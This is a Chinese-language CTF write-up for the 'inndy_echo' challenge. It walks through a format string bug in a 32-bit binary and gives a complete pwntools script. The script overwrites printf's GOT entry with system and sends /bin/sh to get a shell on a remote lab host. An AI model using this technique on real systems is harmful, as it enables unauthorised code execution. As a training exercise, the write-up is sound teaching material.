inndy_echo

准备


32 位,开了 NX 保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[256]; // [esp+Ch] [ebp-10Ch] BYREF
unsigned int v4; // [esp+10Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
do
{
fgets(s, 256, stdin);
printf(s);
}
while ( strcmp(s, "exit\n") );
system("echo Goodbye");
exit(0);
}

有循环输入,存在格式化字符串漏洞
只有输入 s"exit\n" 相等时退出
system 函数

思路:

这题有格式化字符串漏洞和 system 函数,没有连接路径
所以可以通过格式化字符串漏洞劫持 printfgot 表为 system 函数,再发送一个 /bin/sh\x00 来获得 shell
先通过 aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p 确定偏移量(起始位置)

偏移量为 7
根据这偏移量直接构造 payload

1
2
3
4
printf_got=elf.got['printf']
system=elf.sym['system']
payload=fmtstr_payload(7, {printf_got: system})
io.sendline(payload)

最后发送一个 /bin/sh\x00

1
2
3
4
5
printf_got=elf.got['printf']
system=elf.sym['system']
payload=fmtstr_payload(7, {printf_got: system})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')

脚本

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(os='linux',log_level = 'debug',arch='i386')
io=remote('node5.buuoj.cn',28310)
# io= process('/home/motaly/echo')
elf=ELF('/home/motaly/echo')

printf_got=elf.got['printf']
system=elf.sym['system']
payload=fmtstr_payload(7, {printf_got: system})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()